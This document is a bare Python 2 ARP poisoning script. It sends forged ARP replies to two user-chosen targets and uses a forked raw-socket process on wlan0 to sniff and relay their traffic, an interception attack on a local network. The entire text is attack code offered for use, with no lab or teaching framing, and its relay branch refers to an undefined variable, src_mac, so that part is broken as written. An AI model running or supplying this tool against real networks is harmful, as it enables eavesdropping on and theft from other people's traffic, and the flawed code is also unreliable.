ARP Poisoning Script

import socket
from os import fork
from time import sleep

def arp_reply(sock, src, dst):
    sock.send(dst[0] + src[0] + "\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02" + src[0] + src[1] + dst[0] + dst[1] )

eth_aton = lambda x: "".join(map(chr, map(int, x.split(":"), [16] * 6))) # convert mac address in colon format to network bytes

# get the necessary information
t1_mac = eth_aton(raw_input("Enter target 1 mac address : "))
t1_ip = socket.inet_aton(raw_input("Enter target 1 ip address : "))
t2_mac = eth_aton(raw_input("Enter target 2 mac address : "))
t2_ip = socket.inet_aton(raw_input("Enter target 2 ip address : "))
my_mac = eth_aton(raw_input("Enter your own mac address : "))
my_ip = socket.inet_aton(raw_input("Enter your own ip address : "))

newpid = fork()

if newpid == 0: # this process redirects traffic from victims while another process (the parent) is doing the arp poisoning stuff
    try:
        sniffer = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003)) # to sniff traffic from victims
        redirector = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) # to redirect the traffic

        sniffer.bind(("wlan0", 0x0003))
        redirector.bind(("wlan0", 0x0800))

        while True:
            data, addr = sniffer.recvfrom(65535)
            dst_mac = data[:6]
            dst_ip = data[30:34]
            ipv4 = True if data[14:15] == '\x45' else False
            if dst_mac == my_mac and ipv4 and dst_ip != my_ip: # check if it's a packet from the victim and if it contains ipv4 headers
                if src_mac == t1_mac: # redirect traffic from target 1 to target 2
                    redirector.send(t2_mac + dst_mac + data[12:])
                elif src_mac == t2_mac: # redirect traffic from target 2 to target 1
                    redirector.send(t1_mac + dst_mac + data[12:])
    except KeyboardInterrupt:
        sniffer.close()
        redirector.close()

else:
    crafter = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
    crafter.bind(("wlan0", 0x0800))

    print "[*] arp poisoning started\n"
    while True:
        try:
            print "[+] arp replies sent"
            arp_reply(crafter, (my_mac, t2_ip), (t1_mac, t1_ip) ) # send forged arp replies to target 1
            arp_reply(crafter, (my_mac, t1_ip), (t2_mac, t2_ip) ) # send forged arp replies to target 2
            sleep(5) # get some break between each poisoning attack
        except KeyboardInterrupt:
            print "\n[*] rearping victims ......" # resetting the victim's arp caches to normal
            for i in range(10):
                arp_reply(crafter, (t1_mac, t1_ip), (t2_mac, t2_ip) )
                arp_reply(crafter, (t2_mac, t2_ip), (t1_mac, t1_ip) )
            crafter.close()
            break